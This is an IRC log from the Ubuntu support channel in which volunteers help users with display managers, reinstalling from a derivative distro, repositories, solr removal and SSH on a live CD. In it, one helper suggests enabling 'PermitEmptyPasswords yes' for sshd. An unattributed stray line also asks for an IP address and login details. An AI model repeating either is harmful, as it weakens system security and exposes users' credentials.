[07:09] <ducasse> Willzor: lotus is right, it's not supported here. you need to use their support forums.
[07:09] <Willzor> Ok and they dont have one that i can find?
[07:09] <Willzor> Even tho everything on this OS is Ubuntu but you cant help?
[07:09] <Willzor> What sense does that make?
[07:10] <lotuspsychje> Willzor: understand your distro is NOT ubuntu
[07:10] <ducasse> i'm sure there is something listed on their website.
[07:10] <Willzor> Im sure there isnt
[07:11] <Willzor> Ive looked
[07:11] <lotuspsychje> Willzor: you agree, you are the one that choose your Os?
[07:12] <lotuspsychje> Ascavasaion: paste that error to EriC^^ he might have a clue on that uefi issue
[07:12] <Willzor> And you agree i came to an IRC for UBUNTU knowing thats what the back end is on this but yet you dont want to help?
[07:12] <lotuspsychje> Willzor: again, its not me that doesnt wanna help, we have rules here..if you dont agree the !guidelines, please ask in #ubuntu-ops please
[07:13] <ducasse> Willzor: we don't know what changes have been made from plain ubuntu, so we don't even attempt to support it to avoid mistakes.
[07:14] <Willzor> All im having is issues with my video drivers thats it, ive tried everything i could think of
[07:14] <lotuspsychje> Willzor: install ubuntu and you might have a much better driver experience
[07:15] <Willzor> I just like the UI i dont know how to make normal Ubuntu look and feel like this one does
[07:15] <lotuspsychje> Willzor: install ubuntu and we will help you tweak your theme
[07:16] <k12> So... after following that link, the sudo tee method was a failure, and so was the update-rc.d. I will not be restoring the display-manager by installing more unwanted packages.
[07:16] <Willzor> To almost look like this one? i dont know how thats possible
[07:17] <lotuspsychje> Willzor: what does it look like?
[07:17] <Willzor> https://www.makululinux.com/wp/lindoz/
[07:17] <k12> It's starting to look like it's impossible to enable display managers, only disable them.
[07:18] <lotuspsychje> Willzor: we have ubuntu users that experimenten with cinnamon before..
[07:19] <Willzor> So you can get the icons and start menu to look like that?
[07:19] <lotuspsychje> k12: you havent explained yet what and how you trying to do?
[07:20] <lotuspsychje> Willzor: i dont see why you cant make ubuntu look like cinnamon or lindoz with themes
[07:20] <k12> lotuspsychje: I'm trying to enable gdm3.
[07:20] <k12> I've searched for an hour by now for the solution to my problem, and nothing is appearing.
[07:20] <lotuspsychje> k12: gdm is installed by default when you install a destop envoriment
[07:20] <lotuspsychje> k12: dont you have  a DE installed?
[07:20] <k12> Yes, and then I switched from gdm3 to lightdm.
[07:20] <Willzor> That start menu is very custom thats one of the reasons i picked it
[07:21] <lotuspsychje> k12: explain first
[07:21] <k12> Then lightdm got screwed up, and so I disabled the display manager and then that's when all this crap started becoming a problem.
[07:21] <Willzor> Is there anyway to fork it per say to work correctly once i move over?
[07:21] <lotuspsychje> k12: lets start from the start: ubuntu version please?
[07:21] <k12> someone says to try dpkg-reconfigure gdm, I'm going to try that, and hopefully it works.
[07:21] <k12> 17.10
[07:22] <lotuspsychje> k12: gdm3 is installed by default on 17.10
[07:22] <lotuspsychje> Willzor: forking lindoz Os to ubuntu?
[07:23] <Willzor> Yea
[07:23] <ducasse> Willzor: their support seems to be here - https://www.makululinux.com/wp/forums/
[07:23] <lotuspsychje> Willzor: you dont fork an Os just to make it look like you want
[07:23] <Willzor> No one responds there.
[07:23] <k12> I just said that I switched from gdm3 to lightdm, and then I messed that up while trying to do some configuring. Lightdm started repeatedly and repeatedly starting over and over again, because it sucks, and then I had to reboot and go into my ubuntu Live USB, and disabled the display manager.service.
[07:23] <Willzor> Thats a dead forum
[07:23] <k12> That's when all this started.
[07:24] <lotuspsychje> k12: why did you install lightdm when you had gdm for start?
[07:24] <k12> Because I liked how I could customize lightdm's gtk greeter, or choose other greeters like webkit or kde.
[07:25] <lotuspsychje> k12: then keep using 16.04 lts?
[07:25] <k12> -_-
[07:25] <lotuspsychje> k12: if i was you i would reinstall clean
[07:25] <lotuspsychje> k12: or the hard way: fix broken packages from recoverymode?
[07:25] <Willzor> Where do i find ubuntu cinnamon?
[07:26] <k12> Yeah, no. I shouldn't have to reinstall, I should be allowed to enable/disable display managers using systemctl like I can on debian, fedora, arch, or any other distro. But fsr it's only ubuntu where this is such a problem.
[07:26] <lotuspsychje> Willzor: cinnamon isnt installed by default on ubuntu flavors
[07:26] <k12> Anyway, going to try that dpkg solution. If that fails, I give up.
[07:27] <lotuspsychje> !info cinnamon | Willzor optional
[07:27] <lotuspsychje> morning MonkeyDust
[07:27] <MonkeyDust> lotuspsychje
[07:27] <Willzor> So just install normal Ubuntu and come back here and you all can help me?
[07:27] <lotuspsychje> Willzor: sure mate
[07:27] <lotuspsychje> Willzor: we reccomend you to use ubuntu on daily base
[07:28] <lotuspsychje> !download | Willzor
[07:28] <k12> Because at that point, unless proven wrong by some advanced ubuntu user, I will have come to the conclusion that it's literally impossible to reenable a display manager on this distro once you've disabled display-manager.service.
[07:28] <Pan51> k12: i hosed my 16.4 real bad, i was going to reinstall, and decided on 18.4 and it let me upgrade my 16.4 and it fixed all my problems
[07:28] <Willzor> Go to 17.10? and is there a command to list what all i have installed on here to get it on the fresh install?
[07:29] <lotuspsychje> !info aptoncd | Willzor
[07:29] <k12> I'm probably just going to return to arch if this doesn't work. Because as tough as arch is, at least this display manager issue is completely non-existent as long as x.org is completely installed.
[07:29] <EriC^^> Willzor: comm -23 <(apt-mark showmanual | sort -u) <(gzip -dc /var/log/installer/initial-status.gz | sed -n 's/^Package: //p' | sort -u) > /path/to/installedpackages
[07:29] <k12> installed properly *
[07:30] <lotuspsychje> k12: just purge lightdm and try recoverymode fix broken packages?
[07:30] <Willzor> Im confused on those commands
[07:31] <EriC^^> Willzor: the whole line is the command, just replace /path/to/installedpackages with the path you want
[07:31] <Willzor> Im just trying to list what all is installed on here so once i get over i can copy it
[07:32] <EriC^^> Willzor: that's what it does
[07:32] <ducasse> k12: create a symlink from /lib/systemd/system/lightdm.service to /etc/systemd/systemd/display-manager.service
[07:33] <k12> nvm it worked.
[07:34] <Willzor> this is the error /var/log/installer/initial-status.gz: No such file or directory
[07:34] <k12> After I ran dpkg-reconfigure blah blah blah I found out where all the .service files are, and just created a symlink manually.
[07:34] <k12> Finally got it working.
[07:35] <EriC^^> Willzor: "dpkg --get-selections > /path/to/installedpackages" works too
[07:35] <k12> ducasse: yep, tried that, and that fixed it. Would be nice for the ubuntu devs to make it so I could do that automatically through systemctl though, rather than have to manually create one.
[07:35] <EriC^^> Willzor: just it lists everything, even dependencies
[07:35] <k12> But finally, the display manager loads on boot. -_- I can finally rest peacefully.
[07:36] <lotuspsychje> k12: devs are not responsable for what users try to do
[07:37] <EriC^^> Willzor: maybe "apt-mark showmanual" is better, i'm not sure though
[07:37] <ducasse> k12: it seems the .service files now need a new [Install] section added to them for systemctl enable to work, guess that needs to be done still
[07:38] <Willzor> apt-mark showmanual: command not found
[07:38] <k12> lotuspsychje: yeah, sure. Has nothing to do with "what users try to do", it's basic functionality that we can't have on Ubuntu, but literally every distro ever. Anyway, I found my solution, I'm moving on.
[07:38] <k12> ducasse: ah. I suppose that makes sense.
[07:39] <EriC^^> Willzor: hmm, what does 'dpkg -l apt' show?
[07:39] <EriC^^> and "ls -l /usr/bin/apt-mark" ?
[07:40] <Willzor> dpkg -l apt: command not found
[07:40] <EriC^^> Willzor: how about "ls -l /usr/bin/dpkg" ?
[07:40] <lotuspsychje> k12: just out of curiosity, why did you try switch display managers instead of switching DE's?
[07:40] <ducasse> k12: it's a new requirement in newer systemd versions, probably takes a little while for all the packages to catch up
[07:41] <Willzor>  "ls -l /usr/bin/dpkg"  bash: ls -l /usr/bin/dpkg: No such file or directory
[07:41] <ducasse> Willzor: don't type the quotes
[07:41] <Willzor> ls -l /usr/bin/dpkg  -rwxr-xr-x 1 root root 278264 Mar 14 15:44 /usr/bin/dpkg
[07:42] <EriC^^> Willzor: ok, try 'apt-mark showmanual > /tmp/packageslist'
[07:42] <EriC^^> without quotes
[07:42] <k12> lotuspsychje: because prior to that, I knew how to configure lightdm far better than gdm3, and I didn't want to configure gdm3, because apparently that's done by editing config files, whereas there's lightdm-gtk-greeter-settings for lightdm-gtk-greeter.
[07:42] <Willzor> Nothing at all
[07:42] <k12> I guess I'll keep searching for a configuration tool for gdm3.
[07:43] <EriC^^> Willzor: ok 'cat /tmp/packageslist'
[07:44] <Willzor> Thats listing a lot of stuff
[07:45] <EriC^^> Willzor: those are the manually installed packages
[07:45] <Willzor> The repos cant i take them and use it on the normal Ubuntu?
[07:45] <lotuspsychje> Willzor: bad idea
[07:45] <Willzor> lindoz-applets lindoz-backgrounds lindoz-mouse-cursors lindoz-theme-icons-extra lindoz-theme-windows-10 lindoz-theme-windows-7 lindoz-theme-windows-8 lindoz-theme-windows-classic lindoz-theme-windows-vista lindoz-theme-windows-xp
[07:46] <lotuspsychje> Willzor: no, dont do that at all
[07:46] <Ascavasaion> tomreyn: Are you around?
[07:47] <lotuspsychje> Willzor: make your life easy, install a supported ubuntu version from our topic then come back here
[07:47] <lotuspsychje> Ascavasaion: paste that error to EriC^^ he might have a clue
[07:47] <Willzor> I will whats a good USB tool?
[07:47] <EriC^^> Willzor: dd
[07:48] <lotuspsychje> EriC^^: Ascavasaion got a freeze after installing ubuntu with an uefi warning db
[07:48] <Willzor> Whats the full name? im getting a lot of other things
[07:49] <EriC^^> Willzor: the command is "sudo dd if=/path/to/iso of=/dev/sdX bs=4M && sync"
[07:49] <EriC^^> replace /dev/sdX with your usb name from 'sudo parted -ls'
[07:49] <Willzor> Anything with a GUI? :(
[07:49] <lotuspsychje> !usb | Willzor
[07:50] <mahdi> hi
[07:50] <EriC^^> Ascavasaion: restate your issue if you want
[07:52] <Willzor> Now should i get 17.10 or 16?
[07:52] <EriC^^> Willzor: 16.04.4
[07:53] <mahdi_> anyone ?
[07:53] <EriC^^> Willzor: 5 years support, it's up to you
[07:55] <MonkeyDust> mahdi  hi, this is ubuntu support, ask your question
[08:00] <mahdi> how can i delete an icon from the dash ?
[08:01] <Ascavasaion> EriC^^: I did an Ubuntu 16 installation... it stated that it was finished and time to reboot.  I hit reboot... it dropped out of GUI and in text it said something bout firmware error... I Googled and advice was "sudo apt-get install intel-microcode".  I did that.  Then I got "MODSIGN: Couldn't get UEFI db list" and it froze... I eventually hit the reset button and it has not done it since.
[08:01] <lotuspsychje> mahdi: on your mouse there's a right button, click on your icon and remove
[08:02] <Willzor> Alright im installing ill be back very soon
[08:02] <mahdi> lotuspsychje: it dosen't have anything for removing something
[08:02] <choice> does anybody who use ibus under ubuntu?
[08:03] <lotuspsychje> Willzor: great, welcome to the ubuntu community
[08:03] <lotuspsychje> !ask | choice
[08:04] <mahdi> !parience
[08:04] <choice> :D, got that. I found that ibus not always works under ubuntu
[08:04] <mahdi> !patinence
[08:05] <choice> when i use ibus , it could work very well when use browser, shell, but not work under intellij phpstorm/Idea
[08:05] <choice> but fcitx works fine
[08:05] <Maraket> Hey all, just had the biggest headache installing Ubuntu 16.04 on a new laptop, a Metabox N850HJ-i5, using the normal installer and unetbootin to create a bootable USB seemed to work so far as getting it installed, at the end of the install it would hang but seemed to install the OS, then when trying to login, would get past the login screen only to hang, couldn't change to any of the tty screens as that would hang, same result
[08:05] <Maraket> with 17.10, then tried the mini editions as per https://help.ubuntu.com/community/Installation/MinimalCD which seemed to work just fine (Gnome had some screen flickering but that was solved changing to nVidia drivers), though NO wifi, after much googling, and reading through dmesg, the big issu, was running Kernel 4.4, so an update later and no wifi, sharing this out of frustration and sure it should be fixed in 18.04 with the
[08:05] <Maraket> new minimal option but thought i would share
[08:06] <choice> but it looks fcitx is not a original input method for ubuntu( Just my feeling)
[08:06] <Maraket> normal installer being the standard x64 iso
[08:07] <lotuspsychje> Maraket: do you really need minimal?
[08:08] <Maraket> lotuspsychje: no, it was the only work around I could get it to get past the login screen, I suppose I could have used the live usb to check the logs and figure from there, but only thought of that now :P
[08:08] <Willzor> Does this mean my Broadcom will work on the current Kernal now?
[08:09] <lotuspsychje> Maraket: if your graphics result in black screen try !nomodeset
[08:09] <lotuspsychje> Willzor: for making broadcom work, you need the restricted-extras
[08:09] <EriC^^> Ascavasaion: https://ubuntuforums.org/showthread.php?t=2380700&p=13732697#post13732697
[08:09] <Maraket> lotuspsychje: wasn't the exact issue, it wouldn't load up any of the icons or anything, it seemed to just sit on the background with the cursor, and nothing else
[08:10] <lotuspsychje> Maraket: what kind of graphics do you have?
[08:11] <Maraket> lotuspsychje: GTX 1050, though unsure why the minimal would work when the full wouldn't (mind you the full also did do updates during install, and tried without updates as well)
[08:11] <lotuspsychje> Maraket: for making that card work you might have to enter !nomodeset first
[08:12] <Maraket> lotuspsychje: something to try in the future, got it working now so I'm happy :P
[08:13] <lotuspsychje> !bug | Maraket feel free to report when you find one
[08:14] <Maraket> lotuspsychje: I normally would, but the issue is I have no idea what the issue was with, if it was indeed the graphic driver, or something else, I suppose I could do further testing now I know A solution, but for now I am a little beat :) will check into it in the future and see if 18.04 LTS has the same issues. If it does I'll most definitely do a thorough investigation and share what I find
[08:15] <lotuspsychje> Maraket: allrighty, glad you solved it
[08:19] <david__> hello some german speaking people here?
[08:19] <MonkeyDust> !de
[08:25] <Maraket> I know this is purely subjective, but which channel would be the best to ask people of which Desktop Environment should I go with since I am not a huge fan of Unity
[08:25] <lotuspsychje> !flavors | Maraket
[08:28] <EriC^^> Maraket: #ubuntu-offtopic
[08:28] <EriC^^> Maraket: or #ubuntu-discuss
[08:33] <Willzor> Alright im back
[08:34] <Willzor> Whats the first step for this?
[08:37] <Willzor> Anyone?
[08:39] <guiverc> first step for ??   (people come and go...)
[08:40] <guiverc> Willzor, (sorry see last msg)
[08:40] <EriC^^> Willzor: type "sudo parted -ls" and get the name of the USB
[08:40] <EriC^^> /dev/sd..
[08:40] <Willzor> Its already Ubuntu
[08:40] <Willzor> ALready reinstalled
[08:41] <EriC^^> Willzor: what are you asking exactly?
[08:41] <steenman> how do i begin troubleshooting my lubuntu server which crashed this morning (it didnt respond to a ping) so i physically restarted it...
[08:41] <Willzor> The reason i moved over was someone said they can help me make this Ubuntu look like the other OS i used
[08:41] <EriC^^> steenman: look into "/var/log/kern.log"
[08:41] <steenman> whats the linux equivalent of event viewer :)?
[08:42] <steenman> ok
[08:42] <steenman> thxs
[08:42] <EriC^^> steenman: no problem
[08:43] <Willzor_> Sorry firefox crashed
[08:45] <steenman> there are only two entries in the log from before the crash
[08:45] <EriC^^> !paste | steenman
[08:45] <willzor__> http://www.makululinux.com/wp/lindoz/ thats the site of the OS i was using
[08:46] <steenman> i suppose i dont know it crashed just i coulnd ping
[08:46] <EriC^^> willzor__: maybe restate your question and someone might pick up the question
[08:46] <steenman> ok ubottu
[08:47] <willzor__> I did, someone told me once i get Ubuntu installed theyll help me make it like this the other person was helping me with you
[08:47] <steenman> EriC^^: the log does not go back far enough
[08:48] <ducasse> willzor: no, we said you could get support here
[08:48] <EriC^^> steenman: try /var/log/kern.log.1
[08:48] <willzor> Hmm someone said theyll help me get it almost just like that one once i fishing reinstalling
[08:49] <steenman> ah yes
[08:49] <willzor> With themes and such, i dont have logs that go back that far or i would know the person who said it
[08:51] <steenman> it doesnt seem to catergorise events in this file
[08:51] <willzor> So no one can help me?
[08:51] <EriC^^> willzor: ask the question fully, every 10mins or so and see
[08:52] <willzor> I dont know where to begin that other person knew more about what steps i needed then i do
[08:52] <EriC^^> steenman: yeah, you want to look for errors and such, maybe 'grep -i error /var/log/kern.log.1'
[08:52] <EriC^^> willzor: how about 'i'm trying to make my ubuntu look like xxxx os, can anyone help?'
[08:53] <willzor> Who was it that said good morning to you i remember that was the one who said they know a good bit and willing to help once i get over to Ubuntu
[08:54] <ducasse> willzor: you're thinking of lotuspsychje, but he's afk right now
[08:55] <willzor> Im on Ubuntu and trying to make my OS look more like the Makululinux Lidoz Heres the site http://www.makululinux.com/wp/lindoz/ Anyone willing to help me try and setup my system like that please?
[08:56] <willzor> Yea thats the person
[08:57] <brainwash> willzor: I would ask the dev(s) of Lindoz about how their customizations
[08:59] <willzor> So really i just reformatted for nothing is what your saying. as someone told me i could get help after i did XYZ and ive done XYZ but now i gotta go threw even more hoops just to get it figured out?
[08:59] <ericrajuin> it's just the icons and themes
[09:00] <brainwash> willzor: why did you format your previous installation?
[09:00] <willzor> Beacuse i was told too?
[09:01] <brainwash> yeah... no, that's not how it works
[09:01] <brainwash> what is the reason?
[09:01] <brainwash> like, did you install an outdated ubuntu release?
[09:02] <willzor> "we dont support that Discro install ubuntu and we will help you"
[09:02] <brainwash> that's an obvious requirement if you want support from this channel
[09:02] <brainwash> in case you did not have ubuntu installed before
[09:03] <willzor> I did have it but wasnt a dummbed down version
[09:03] <EriC^^> with that logic, you should also ask in #debian cause ubuntu is based on that
[09:03] <EriC^^> possibly #kernel too
[09:04] <EriC^^> :D
[09:04] <brainwash> so, you have to install the Cinnamon DE (sudo apt install cinnamon), and then try to obtain the resources (wallpapers, icons, themes,..) from LinDoz
[09:05] <brainwash> we can't really help with the second part
[09:05] <ericrajuin> and lxpanel
[09:05] <ericrajuin> no nvm it's not
[09:34] <widp> Is neomutt available as a package for 16.04?
[09:34] <widp> If it's not how do i get it?
[09:34] <guiverc> i only see it for bionic widp https://packages.ubuntu.com/search?keywords=neomutt
[09:34] <widp> What's bionic?
[09:35] <guiverc> 18.04
[09:35] <widp> I see.
[09:35] <widp> So no 16.04 package, I am not sure how I feel about this.
[09:36] <widp> On the one hand I've spent the entire day playing around with configs , now it has led to the point where I might finally have to upgrade.
[09:37] <widp> If only there was a ppa available.
[09:37] <guiverc> maybe you could ask on #neomutt - but I know nothing about neomutt  (hadn't heard of it before your question)
[09:43] <jluc> on ubuntu 17.10n why is it i cant install neither gwenview nor gpicview ?
[09:45] <jluc> nor gthumb
[09:46] <jluc> "no available version"
[09:46] <brainwash> could it be that the 'universe' repo is disabled?
[09:46] <brainwash> check "apt-cache policy"
[09:49] <brainwash> https://help.ubuntu.com/community/Repositories/Ubuntu
[09:51] <jluc> i added "deb http://archive.ubuntu.com/ubuntu/ artful main restricted universe multiverse" to sources.list
[09:51] <widp> how long does upgrading from 16.04 to 18.04 take?
[09:51] <widp> should I expect a lot of breakage?
[09:51] <brainwash> it will take a while
[09:52] <BluesKaj> Hi folks
[09:53] <brainwash> widp: I doubt that you can answer that question with a simple yes or no
[09:53] <guiverc> widp, 18.04 hasn't been released yet so currently is offtopic on this site (it's channel is #ubuntu+1)
[09:53] <widp> I see.
[09:53] <guiverc> s/site/channel/
[09:54] <widp> I wonder when 16.04 was released.
[09:54] <jluc> 2016 04
[09:54] <guiverc> (year.month is the ubuntu release version numbering)
[09:56] <widp> I see.
[09:59] <sweb1> safely remove on USB storage like flash or external hdd is take very long time to affect. how can i report it ? Ubuntu 18.04 (development branch)
[10:03] <guiverc> sweb1, 18.04 channel is #ubuntu+1, so you could ask there. the obvious answer is looking for a bug (report) on launchpad or raising one...
[10:10] <EriC^^> sweb1: sometimes if you copied a lot of data to it, it'll take a lot of time while it syncs (when it's actually copying the data there)
[10:10] <EriC^^> sweb1: if you haven't copied anything to it and it takes a lot of time, something is wrong
[10:10] <sweb1> EriC^^: i hade another laptop with ubuntu 16.04 same hardware it's sync fast ... as usual ... but this is take very long time about 30 minutes
[10:13] <EriC^^> that's a lot
[10:16] <jluc> sweb, i improved a lot sync time
[10:16] <jluc> following some advice in https://unix.stackexchange.com/questions/180818/gnome-nautilus-copy-files-to-usb-stops-at-100-or-near
[10:16] <jluc> also see http://lwn.net/Articles/572911/
[10:17] <jluc> edit /etc/sysctl.conf and add "vm.dirty_background_bytes = 16777216" and "vm.dirty_bytes = 50331648"
[10:19] <kunji> How do I install go (or git2go?) on Ubuntu such that "go get some/github/repo" works?  I installed the go snap via "sudo snap install go --classic" and when I try the above I get "# github.com/libgit2/git2go go/src/github.com/libgit2/git2go/blame.go:4:18: fatal error: git2.h: No such file or directory"
[10:19] <jluc> brainwash, here is my apt-cache policy : http://pastebin.fr/53370
[10:20] <jluc> does it show something to repair ?
[10:21] <jluc> hmm id did some preferences edit once - that's probably the issue
[10:22] <ericrajuin> after I compiled something is it safe to remove the -dev packages ?
[10:28] <jluc> rm /etc/apt/preferences
[10:28] <jluc> might fix my issue
[10:30] <kunji> ericrajuin: Should be, but won't you just need them again to compile the next time?
[10:32] <jluc> yes fixed
[10:33] <ericrajuin> oh I didn't thought of that
[10:35] <s10gopal> every file has an extension , what will be the extension if  file is created by "$touch file"
[10:37] <_Strix_> hello
[10:38] <_Strix_> Can anyone please help me how to find when the kernal was last updated?
[10:39] <lotuspsychje> _Strix_: check dpkg logs
[10:39] <_Strix_> I am using ubuntu 14.04
[10:39] <lotuspsychje> _Strix_: uname -a to see your current kernel
[10:39] <jluc> "touch file" will create "file" file lol, along with its extension when there is one s10gopal
[10:40] <_Strix_> Linux 4.13.13-4-pve
[10:41] <s10gopal> if we dont provide any extension what is default extension ? is touch file and touch file.txt are same ?
[10:41] <ducasse> s10gopal: nothing, there is no default extension
[10:41] <brainwash> jluc: so, you were able to activate artful/universe?
[10:42] <guiverc> s10gopal, *nix doesn't use extensions by default.  a file [type] is determined by its contents, not the part of its name  - use `file filename` to see what a filetype is for filename
 touch file and touch file.txt are not same
[10:42] <_Strix_> lotuspsychje, current kernal is Linux 4.13.13-4-pve
[10:42] <VjdfMQ> Hey all
[10:42] <VjdfMQ> I've added ufw and added rules:
[10:42] <lotuspsychje> _Strix_: yes?
[10:43] <_Strix_> I am not finding anything in dpkg.log
[10:43] <_Strix_> about kernal
[10:43] <VjdfMQ> So, now an internet doesn't work
[10:43] <VjdfMQ> https://hastebin.com/igubexutup.http
[10:43] <lotuspsychje> VjdfMQ: perhaps #netfilter can help?
[10:43] <VjdfMQ> The Internet *
[10:44] <VjdfMQ> Thank you lotuspsychje
[10:44] <s10gopal> thx
 give your ip address & login details
[10:45] <ericrajuin> I think the kernel packages are named "linux-headers" and "linux-image" something
[10:45] <VjdfMQ> what a ?
[10:45] <VjdfMQ> ericrajuin: Also linux image extra
[10:53] <ericrajuin> VjdfMQ : I think the ufw rules need to allow outbound connections as well
[10:53] <ericrajuin> just a guess
[10:56] <s10gopal> how to intall kernel 4.9 on ubuntu 14.04 lts
[10:56] <helpme> so after some update i now boot into purple screen and it freezes.. there was some mention of uefi something the first time of booting after the update.. what might it be? it's ubuntu 16.04
[10:57] <s10gopal>   linux-headers-4.9.0-040900_4.9.0-040900.201612111631_all.deb       linux-headers-4.9.0-040900-generic_4.9.0-040900.201612111631_amd64.deb             linux-image-4.9.0-040900-generic_4.9.0-040900.201612111631_amd64.deb   only these files are required to download ?
[11:00] <guiverc> s10gopal, where are the 4.9 [kernel] from?  i don't see 4.9 in the support kernels on https://wiki.ubuntu.com/Kernel/Support
[11:00] <guiverc> s/support kernels/supported kernels/
[11:00] <s10gopal> http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.9/
[11:02] <s10gopal> guiverc, i want to test ml 4.9 on ubuntu 14.04 lts
[11:03] <TyrfingMjolnir> I booted from the live CD
[11:03] <TyrfingMjolnir> I installed openssh-server this is enabled
[11:03] <TyrfingMjolnir> What is the default username and password?
[11:03] <TyrfingMjolnir> ubuntu/ubuntu no go
[11:04] <guiverc> s10gopal, maybe look at http://ubuntuhandbook.org/index.php/2016/12/install-linux-kernel-4-9-ubuntu-linux-mint/ -- but i've not used it
[11:04] <ppf> TyrfingMjolnir: should be ubuntu, no pwd
[11:05] <s10gopal> guiverc, thx
[11:07] <codecutter> do i need to do anything after using 'sudo rm /etc/init.d/solr'?
[11:07] <codecutter> apparently i should have used this instead 'You are missing this, if you want to re-install it again. sudo update-rc.d -f solr remove and sudo rm -rf /etc/default/solr.in.sh '
[11:07] <ppf> maybe  update-rc.d solr remove
[11:07] <codecutter> right
[11:07] <codecutter> i already used the command
[11:08] <codecutter> ppf
[11:08] <TyrfingMjolnir> ppf: Ubuntu/ also no good
[11:09] <ppf> codecutter: okay?
[11:09] <codecutter> i used ''sudo rm /etc/init.d/solr''. instead of ' update-rc.d -f solr remove'
[11:09] <ppf> TyrfingMjolnir: why, what happens if you try?
[11:10] <ppf> codecutter: yeah those don't do the same thing
[11:10] <ppf> but provide some context for me please, what are you trying to do exactly?
[11:10] <codecutter> ppf: remvoed solr manually https://askubuntu.com/questions/680690/how-to-uninstall-solr
[11:11] <iBurger21> hey all: I'm sorry if this has been asked 100x times before. But as an end-user, what are the main benefits of running ubuntu over debian?
[11:11] <ppf> codecutter: okay, and what's the issue?
[11:11] <lotuspsychje> iBurger21: #ubuntu-discuss please
[11:11] <iBurger21> okay
[11:12] <codecutter> ppf: i used ''sudo rm /etc/init.d/solr''. instead of ' update-rc.d -f solr remove', how do i fix this?
[11:12] <ppf> run update-rc.d -f solr remove
[11:13] <TyrfingMjolnir> ppf: Permission denied, please try again.
[11:13] <codecutter> but i already removed it using ''sudo rm /etc/init.d/solr'' ?
[11:13] <ppf> that's not what update-rc.d does
[11:13] <codecutter> whats the diff between these 2 commands?
[11:14] <ppf> update-rc.d manages symlinks between /etc/rc$N.d and the init files
[11:14] <codecutter> ah
[11:15] <codecutter> now i need to reinstall the latest version, installed previous manually, is there a apt-get version available for solr
[11:15] <codecutter> ?
[11:15] <ppf> !info solr
[11:16] <codecutter> hmm
[11:16] <ppf> !info solr-tomcat
[11:16] <codecutter> i need solr v.7
[11:17] <ppf> codecutter: then you'd probably best install from source
[11:18] <ppf> codecutter: what is your endgame though
[11:18] <ppf> you just wanna run that server?
[11:18] <codecutter> standalone
[11:18] <ppf> then why not use docker
[11:19] <codecutter> i don't have docker setup
[11:19] <codecutter> don't ask me to setup docker only for solr
[11:19] <codecutter> :)
[11:20] <codecutter> this is what they call a preemptive response :
[11:20] <TyrfingMjolnir> people still use solr? There is elastic.co
[11:20] <codecutter> i'm already using solr, why would i want to change it? do you have a compelling reason?
[11:21] <TyrfingMjolnir> I never really had any compelling reason to use any java project
[11:21] <ppf> codecutter: what's there to set up
[11:21] <TyrfingMjolnir> I do use elasticsearch and beats though...
[11:21] <TyrfingMjolnir> codecutter: Why not compile from source?
[11:21] <codecutter> well, elastic appears to be commerical?
[11:22] <VjdfMQ> ericrajuin: What do you mean ?
[11:22] <codecutter> i guess what i'll have to do
[11:22] <TyrfingMjolnir> codecutter: es is open source, some of the plugins are commerical
[11:22] <VjdfMQ> They're already opened. Arent they ?
[11:22] <codecutter> "Deploy a 14-day trial with 4 GB RAM, 96 GB storage, Kibana, X‑Pack, and more.'
[11:22] <codecutter> i see
[11:22] <TyrfingMjolnir> codecutter: I never did that
[11:23] <TyrfingMjolnir> I registered and that allows me to run elasticsearch, kibana, logstash, and beats for free
[11:23] <TyrfingMjolnir> One thing I did do however is to install free plug-ins
[11:23] <TyrfingMjolnir> There are also commercial plugins
[11:24] <TyrfingMjolnir> Then again the free version supposedly exceeds solr
[11:24] <TyrfingMjolnir> in features
[11:24] <jluc> brainwash, i could install yes
[11:24] <ppf> and use docker for either
[11:25] <TyrfingMjolnir> codecutter: What is your project?
[11:25] <GasterFQ> Hi, i have a question about LTS, when will Canonical launch the new LTS?
[11:25] <ppf> (or whatever your favorite container orchestrator is)
[11:25] <cfhowlett> !isitout | GasterFQ
[11:25] <jluc> removing /etc/apt/preferences cleaned the situation
[11:25] <ppf> GasterFQ: soon! (tm)
[11:25] <GasterFQ> Thanks!
[11:25] <TyrfingMjolnir> 18.04, no?
[11:26] <codecutter> TyrfingMjolnir: search for user accounts and companies
[11:26] <TyrfingMjolnir> codecutter: Where?
[11:26] <codecutter> my own server
[11:27] <TyrfingMjolnir> ?
[11:27] <TyrfingMjolnir> Link?
[11:28] <codecutter> maybe later, its down at the moment
[11:28] <codecutter> installing solr :)
[11:32] <ppf> TyrfingMjolnir: could be that sshd is forbidding passwordless connections
[11:32] <ppf> either set 'PermitEmptyPasswords yes' or give the user a password
[11:33] <TyrfingMjolnir> ppf: It says something about pass not installed and will have to add universe
[11:33] <ppf> passwd
[11:34] <TyrfingMjolnir> It says passwd not installed and will have to do apt install pass from universe
[11:35] <cvdd43> hye
[11:35] <ppf> TyrfingMjolnir: ?
[11:36] <ppf> !info passwd
[11:36] <ppf> that's neither universe nor not installed
[11:36] <cvdd43> any one here
[11:36] <cvdd43>  not installed
[11:36] <cvdd43> ithink so ??
[11:37] <cfhowlett> !details | cvdd43,
[11:37] <cvdd43> what :)
[11:38] <cfhowlett> this is ubuntu support.  please stay on topic.
[11:39] <cvdd43> who is from U.S.A
[11:40] <TyrfingMjolnir> Nobody wants to admin, cvdd43
[11:41] <TyrfingMjolnir> How can I turn off hibernation?
[11:41] <cvdd43> what
[11:41] <cvdd43> ????
[11:41] <TyrfingMjolnir> I just lost the IP address
[11:41] <cvdd43> ip of what??
[11:41] <TyrfingMjolnir> of the live CD running
[11:42] <TyrfingMjolnir> Due to hibernation
[11:42] <cvdd43> oh!!
[11:42] <cvdd43> can any one tech me how to use hex chat
[11:43] <cvdd43> because today its my first day to use it
[11:43] <cfhowlett> cvdd43, you are already using it.
[11:43] <cvdd43> i know but
[11:43] <TyrfingMjolnir> There is no exa?
[11:43] <TyrfingMjolnir> What is hex chat?
[11:44] <TyrfingMjolnir> apt-get install exa
[11:44] <TyrfingMjolnir> E: Unable to locate package exa
[11:44] <cfhowlett> cvdd43, and, amazingly, there's actually a <Help> topic in hexchat with complete instructions!
[11:44] <alfepu> alguien sabe algun canal en espaöol
[11:44] <cfhowlett> !es | alfepu
[11:44] <cvdd43> when i exit it and return to open it all the channels disappeared
[11:44] <cvdd43> so i use to put them all again
[11:45] <cfhowlett> because you didn't set up the channels.  Read the help menu, it's explained there
[11:45] <cvdd43> how to set up them
[11:45] <cvdd43> ??
[11:47] <cvdd43> please help!!
[11:47] <cfhowlett> https://hexchat.readthedocs.io/en/latest/    <<< read the friendly manual
[11:47] <TyrfingMjolnir> cfhowlett: I doubt cvdd43 cares if there is one; probably you can tell him/her where it is.
[11:47] <cvdd43> yes iwill now
